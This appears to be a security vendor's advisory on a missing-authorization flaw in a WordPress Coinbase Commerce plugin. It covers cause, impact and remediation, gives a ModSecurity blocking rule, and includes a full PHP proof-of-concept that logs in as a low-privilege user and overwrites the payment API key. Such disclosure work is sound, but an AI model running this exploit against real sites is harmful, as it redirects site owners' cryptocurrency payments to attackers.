Atomic Edge analysis of CVE-2026-6709 (metadata-based): This vulnerability affects the Coinbase Commerce for Contact Form 7 plugin for WordPress, versions 1.1.2 and lower. The plugin fails to enforce authorization and nonce verification in its save_settings() function, allowing authenticated attackers with Subscriber-level access or higher to modify the plugin’s Coinbase Commerce API key setting. The CVSS score is 4.3 (Medium) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N.
Root Cause: Based on the CWE (862 Missing Authorization) and the description, the save_settings() function lacks both a capability check (like manage_options or similar) and nonce verification. Atomic Edge research infers this because the description explicitly states the missing checks. The function is hooked to admin_post_cccf7_save_settings, a WordPress admin-post action. Without a check for administrator-level permissions, any authenticated user can call this endpoint. Without a nonce, the request is also vulnerable to Cross-Site Request Forgery, but the primary issue is the authorization gap.
Exploitation: An authenticated attacker with only Subscriber-level privileges can send a POST request to /wp-admin/admin-post.php with the parameter action=cccf7_save_settings and the POST parameter cccf7_api_key containing a new (malicious) API key. The WordPress nonce is absent, and no capability check prevents the action. The attacker can use a standard WordPress login session or API credentials to submit the request. The endpoint directly updates the plugin’s option in the WordPress options table without validation.
Remediation: The fix must add a capability check (e.g., current_user_can(‘manage_options’)) and nonce verification (wp_verify_nonce()) in the save_settings() function. The plugin should also sanitize and validate the API key input before saving. Since no patched version exists, site administrators must manually uninstall or disable the plugin, or apply a virtual patch via ModSecurity.
Impact: Successful exploitation allows an attacker to overwrite the Coinbase Commerce API key with a key under their control. This could redirect cryptocurrency payments to the attacker’s account, causing financial loss to the site owner. The impact is limited to integrity of the API key setting; no direct privilege escalation or data exposure occurs, but the financial implications can be severe.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6709 (metadata-based)
# Block authenticated POST requests to admin-post.php with action=cccf7_save_settings
# This targets the missing authorization vulnerability in Coinbase Commerce for Contact Form 7 <= 1.1.2
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" "id:20267091,phase:2,deny,status:403,chain,msg:'CVE-2026-6709: Missing Authorization in Coinbase Commerce for Contact Form 7 - API key overwrite attempted',severity:CRITICAL,tag:CVE-2026-6709"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@streq cccf7_save_settings" "chain"
SecRule ARGS_POST:cccf7_api_key "@rx .+" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6709 - Coinbase Commerce for Contact Form 7 <= 1.1.2 - Missing Authorization to Authenticated (Subscriber+) API Key Modification
// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$username = 'attacker'; // WordPress username with Subscriber role or higher
$password = 'attacker_password'; // Password for the above user
// Attacker's Coinbase Commerce API key to inject
$malicious_api_key = 'YOUR_MALICIOUS_API_KEY_HERE';
// Step 1: Authenticate to WordPress (login)
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_2026_6709.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
if (curl_error($ch)) {
die('Login curl error: ' . curl_error($ch) . "n");
}
curl_close($ch);
// Step 2: Send the malicious POST to admin-post.php to overwrite the API key
$exploit_url = $target_url . '/wp-admin/admin-post.php';
$exploit_data = array(
'action' => 'cccf7_save_settings',
'cccf7_api_key' => $malicious_api_key
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_6709.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Don't follow redirect, we want to see the response
$exploit_response = curl_exec($ch);
if (curl_error($ch)) {
die('Exploit curl error: ' . curl_error($ch) . "n");
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Status: $http_coden";
if ($http_code == 302 || $http_code == 200) {
echo "[+] Exploit likely succeeded. The API key was overwritten.n";
} else {
echo "[-] Exploit may have failed. Check configuration.n";
}
// Cleanup cookie file
unlink('/tmp/cookies_cve_2026_6709.txt');
?>
